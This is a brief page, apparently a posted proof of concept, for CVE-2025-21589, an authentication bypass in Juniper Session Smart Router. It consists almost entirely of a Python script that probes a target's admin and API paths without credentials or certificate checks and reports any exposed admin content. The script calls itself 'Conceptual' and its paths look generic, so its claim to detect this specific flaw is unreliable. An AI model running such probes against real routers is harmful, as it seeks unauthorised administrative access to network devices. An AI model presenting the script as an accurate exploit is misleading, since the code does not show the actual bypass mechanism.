CVE-2025-21589 Juniper Session Smart Router认证绕过漏洞

# CVE-2025-21589 Authentication Bypass PoC (Conceptual) # Target: Juniper Session Smart Router # Type: Authentication Bypass via Alternate Path/Channel import requests import sys TARGET = "https://<target-ip>:8443" # Replace with target IP CVE_ID = "CVE-2025-21589" def check_vulnerability(): """ Check if target is vulnerable to CVE-2025-21589 This PoC attempts to access admin endpoints without authentication """ # Try alternative management path alt_paths = [ "/api/v1/system/admin", "/admin/config", "/mgmt/api/v1/config", "/api/system/status" ] for path in alt_paths: url = f"{TARGET}{path}" try: # Request without authentication headers response = requests.get(url, verify=False, timeout=10) # Check if we can access admin functionality if response.status_code == 200 and "admin" in response.text.lower(): print(f"[!] Potential vulnerability confirmed: {url}") print(f"[+] Response preview: {response.text[:200]}") return True except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False if __name__ == "__main__": print(f"[*] CVE-2025-21589 Exploitation Check") print(f"[*] Target: {TARGET}") if check_vulnerability(): print("[!] Target appears to be vulnerable!") print("[!] Immediate patching recommended.") else: print("[*] Target may not be vulnerable or is patched.")